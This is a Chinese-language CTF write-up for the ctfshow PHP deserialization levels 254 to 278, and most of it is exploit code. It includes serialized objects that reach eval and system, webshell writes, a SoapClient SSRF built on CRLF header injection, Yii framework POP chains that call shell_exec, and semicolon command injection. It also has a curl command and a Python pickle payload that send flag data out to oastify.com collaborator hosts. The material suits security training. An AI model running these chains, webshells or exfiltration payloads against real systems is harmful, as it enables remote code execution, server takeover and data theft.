目录
反序列化
254:无用,是让熟悉序列化这个东西的
255:直接使$isVip=true
256:还是使用变量覆盖
257:开始使用魔法函数
258:将序列化最前面的过滤了,使用+绕过
259: 这一题需要看writeup才知道, 这个类里面还设置了一个__call函数, 里面写了调用SoapClient原生类, 存在ssrf
260: 直接传就可以
261: 构造pop链
262: 两种解法1.非预期解法. 2.字符串逃逸
263: 注意,这里通过inc/inc.php保存的文件在inc下
264: 和262差不多
265:
266: 两种方式1.利用大小写绕过2.利用php处理畸形字符串的容错机制
方法1
方法2
##从这里开始后面的大多数都是框架漏洞,版本漏洞这些,去网上找nday或者链子这些啊就能做,如果想深入研究需要自行查找资料了
267: yii web框架反序列化漏洞
268: 都是一样的框架,只是pop链改变点
269-270:这里推荐使用phpggc脚本
271-273:也同样是用phpggc直接做的
274:同样可以用phpgcc工具,只是需要base64加密一下
275:容易被误导
276:
277-278: 这一题利用的是python的反序列化
反序列化
254:无用,是让熟悉序列化这个东西的
255:直接使$isVip=true
<?php
class ctfShowUser{
public $isVip=true;
}
$a = serialize(new ctfShowUser);
echo urlencode($a);
?>
256:还是使用变量覆盖
<?php
class ctfShowUser{
public $username='a';
public $password='xxxxxx';
public $isVip=true;
}
$a=new ctfShowUser();
echo urlencode(serialize($a));
?>
257:开始使用魔法函数
__construct:当使用new实例化一个对象时调用
<?php
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new backDoor();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class backDoor{
private $code='system("cat ./flag.php");';
public function getInfo(){
eval($this->code);
}
}
echo(urlencode(serialize(new ctfShowUser())));
?>
258:将序列化最前面的过滤了,使用+绕过
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'backDoor';
public function __construct(){
$this->class=new backDoor();
}
public function __destruct(){
$this->class->getInfo();
}
}
class backDoor{
public $code="system('cat flag.php');";
public function getInfo(){
eval($this->code);
}
}
$a = serialize(new ctfShowUser());
echo(urlencode(str_replace('O:','O:+',$a)));
?>
259: 这一题需要看writeup才知道, 这个类里面还设置了一个__call函数, 里面写了调用SoapClient原生类, 存在ssrf
__call是一个魔法函数, 当调用不存在的参数或者函数就会去调用
SoapClient原生类, 类似于curl一样的存在, 基于 XML 的协议,它使应用程序通过 HTTP 来交换信息
从代码上看直接访问flag.php给X_FORWARDED_FOR赋值127.0.0.1三次(127.0.0.1, 127.0.0.1, 127.0.0.1)就可以绕过array_pop(删除数组末尾的值), 在传入token等于ctfshow就能得到flag
flag.php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
但是有问题, 去查询了才知道开启了Cloudflare代理( 大致意思就是, 无论传入什么ip都会指向cloudflare对应的服务器IP )
只能通过SoapClient原生类的反序列化来做
我的理解呢就是传入数据包(这时还是用的是代理的ip), 服务器解析数据包解析反序列化(这时已经进去服务器了, 在服务器里运行), 通过SoapClient原生类再重新传一次给自己的包, 这时就是从内部访问了, 代理就不会去将 HTTP 代理的 IP 地址附加到这个数据包的标头
一般的php是不会自带soap的
查看一下当前php版本再安装指定版本的soap
从下图框起来的地方看, user-agent是可以操控的
<?php
//token=ctfshow
$client = new SoapClient(null,array('uri'=>'127.0.0.1','location'=>'http://127.0.0.1:1234'));
$client->getFlag();
?>
poc:
<?php
$ua="test\r\nX-Forwarded-For:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";
$client=new SoapClient(null,array('uri'=>'127.0.0.1','location'=>'http://127.0.0.1:9999/flag.php','user_agent'=>$ua));
$client->AAA();
//echo urlencode(serialize($client));
?>
260: 直接传就可以
261: 构造pop链
这里需要学到一个新的知识点
所以这里就可以利用到__unserialize函数
利用file_put_contents($this->username, $this->password);写入shell最后
而__sleep可以不用管, 只有执行serialize才会执行
0x36d十进制就等于877, 所以不管你再文件名用887还是再shell里加一个887都无所谓
poc:
<?php
class ctfshowvip{
public $username;
public $password;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
}
echo urlencode(serialize(new ctfshowvip('877.php','<?php eval($_GET[a]) ?>')));
262: 两种解法1.非预期解法. 2.字符串逃逸
先说第一种
首先从hint上有提示message.php, 访问能看到
那么从这里就能得到一种非预期解法
直接给网站存储再本地的cookie添加一个base64编码的构造好的序列化字符串
再去添加cookie
这就是第一种非预期解
现在讲第二种, 字符串逃逸
大致来说呢, 就是传入fuck就会变成loveU这时就会多出一位
例如:
{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:4:"fuck";s:5:"token";s:4:"user";}
而fuck变成了loveU, 这时多出了一位, 而多出的一位就会被挤出去
{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:4:"loveU";s:5:"token";s:4:"user";
利用这个原理来写poc
";s:5:"token";s:5:"admin";}我们最后是需要让这个在里面, 把;s:5:"token";s:4:"user";}挤出去, 所以需要构造27个fuck
'fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}';
f=1
m=2
t='fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}';
263: 注意,这里通过inc/inc.php保存的文件在inc下
这里涉及一个新知识点:
php的session信息是储存在文件中的
session.save_handler="" 指定储存时使用的函数(默认是file)
但是当在页面设置时使用ini_set更改了值并且与默认的不同, 那么就会出现问题
这时, 如果传入一个|O:5:"Class"类似于这样的序列化, php就会自动把|前面的当作键名用, 反而会反序列化|后的值
- php_binary 键名的长度对应的ascii字符+键名+经过serialize()函数序列化后的值
- php 键名+竖线(|)+经过serialize()函数处理过的值
- php_serialize 经过serialize()函数处理过的值,会将键名和值当作一个数组序列化
这一题就出现了此问题
现在去找session接受点
这里能看到当limit小于5时, 他会直接去拿存储在cookie里的limit(当然是会base64解密的)
所以构造好以后可以在本地cookie里插入
现在找注入点
在inc.php里, 可以利用file_put_contents写入文件漏洞, 刚好可以构造一个poc
而inc.php又存在上面说的问题
session.save_handler=""于user.ini默认设置不符, 会反序列化session中|后的数据所以
payload:
<?php
class User{
public $username = '1.php';
public $password = '<?php eval($_POST[a]);?>';
}
echo urlencode(base64_encode("|".serialize(new User)));
264: 和262差不多
265:
php的特性, 按地址传参
例如$a = 1 $b = 2, 这时让$b = &$a, 再给$a 重新赋个值 $a = 3, 这个时候$b就会一直跟着$a变化, $a是什么$b就是什么
payload:
<?php
class ctfshowAdmin{
public $token;
public $password;
public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
}
$a = new ctfshowAdmin('','');
$a->password = &$a->token;
echo urlencode(serialize($a));
266: 两种方式1.利用大小写绕过2.利用php处理畸形字符串的容错机制
从代码来看
- 用cs接收file_get_contents读取的传输的参数, 利用的是php://input伪协议
- 最后是需要执行到这个函数才行, 但是执行这个函数的条件是对象被销毁(也就是脚本结束后才会执行), 但是因为这里有这么一个函数会抛出异常导致无法立即执行destruct
方法1
, 大小写绕过
不知道是不是php似乎对类的名字大小写不敏感还是怎么回事, 可以传入Ctfshow进行绕过
payload:
<?php
class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
}
$a = new ctfshow;
echo urlencode(serialize($a));
O:7:"Ctfshow":2:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";}
方法2
利用php处理畸形的序列化的处理措施, 当php收到畸形的序列化时, 会因为对此序列化的不放心, 会第一时间处理掉它, 所以能直接让处理他的顺序排在了最前面
- 直接将最后的序列化后的}去掉
O:7:"ctfshow":2:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx"; - 或者修改属性个数有点类似于绕过__wakeup魔法函数
O:7:"ctfshow":3:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";} - 反正就是让他变得畸形就可以, 可以自主尝试一下
O:7:"ctfshow":3:{abc}
##从这里开始后面的大多数都是框架漏洞,版本漏洞这些,去网上找nday或者链子这些啊就能做,如果想深入研究需要自行查找资料了
267: yii web框架反序列化漏洞
拿到题以后从wappalyzer插件来看,是yii框架
存在登录点
知道是yii框架的,直接去搜yii框架默认账户密码,或者直接尝试弱口令也行
账户:admin
密码:admin
登陆以后在about页面查看元代码发现有
拼接在url上发现爆出了反序列化的位置以及接入点还有编码编码
已经知道是yii框架了,直接去搜yii框架反序列化利用链,(找反序列化只有两种方法,1day或者nday,不然就只有代码审计)
此题设置了非调试模式的生产环境运行方式,用system之类的函数无回显,所以利用dnslog的方式将数据传输回来,或者是直接cp flag文件到另一个文件,然后去访问也行
<?php
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'shell_exec';
$this->id = 'curl -X POST -F a=`echo $PWD` 8pyk4oeb2c9codjxfyvclxip7gd710pp.oastify.com'; //命令执行
}
}
}
namespace Faker {
use yii\rest\IndexAction;
class Generator
{
protected $formatters;
public function __construct()
{
$this->formatters['close'] = [new IndexAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct()
{
$this->_dataReader=new Generator();
}
}
}
namespace{
use yii\db\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}
这里利用burpsuit的collaborator
首先这里先获得了web的根目录
再通过写入webshell的方式
<?php
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'shell_exec';
$this->id = 'echo \'<?php eval(\$_POST[a]);>\' > /var/www/html/basic/web/1.php'; //命令执行
}
}
}
namespace Faker {
use yii\rest\IndexAction;
class Generator
{
protected $formatters;
public function __construct()
{
$this->formatters['close'] = [new IndexAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct()
{
$this->_dataReader=new Generator();
}
}
}
namespace{
use yii\db\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}
268: 都是一样的框架,只是pop链改变点
<?php
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'exec';
$this->id = 'cp /f* 1.txt';
}
}
}
namespace Faker {
use yii\rest\IndexAction;
class Generator
{
protected $formatters;
public function __construct()
{
$this->formatters['isRunning'] = [new IndexAction(), 'run'];
}
}
}
namespace Codeception\Extension{
use Faker\Generator;
class RunProcess
{
private $processes = [];
public function __construct(){
$this->processes[]=new Generator();
}
}
}
namespace{
use Codeception\Extension\RunProcess;
echo base64_encode(serialize(new RunProcess()));
}
269-270:这里推荐使用phpggc脚本
大多数的php反序列化都有集成的poc,并且标明了漏洞版本,以及利用点
271-273:也同样是用phpggc直接做的
例如这几题都是用的laravel框架
如果实在利用不了可以去网上搜pop链
274:同样可以用phpgcc工具,只是需要base64加密一下
275:容易被误导
- filter类里有三个函数
- __construct将实例化时传入的两个值赋给filename和filecontent
- checkevil检查俩参数有没有php和flag大小写匹配
- __destruct当销毁时执行,用于删除,这里存在着绕过执行
我的第一想法其实时条件竞争, 在unlink函数没执行时访问file_out_contents写入的文件,
$_SERVER['DOCUMENT_ROOT']: 返回网站根目录
但是我发现似乎这里的rm可以用 ; 隔断在执行一个新命令
payload:
?fn=php;ls
传入php让$this->evilfile=true, 然后用; 执行两个命令成功rce
276:
277-278: 这一题利用的是python的反序列化
想要详细了解可以看pickle反序列化初探 - 先知社区 (aliyun.com)
利用reduce来执行命令
poc: 这里利用dnslog带外拿flag
import base64
import pickle
import os
class shell(object):
def __reduce__(self):
return (os.popen, ('wget go8p4bjno27m32col7ek2iexcoif66uv.oastify.com?a=`cat fla*`',))
k = shell()
print(base64.b64encode(pickle.dumps(k)))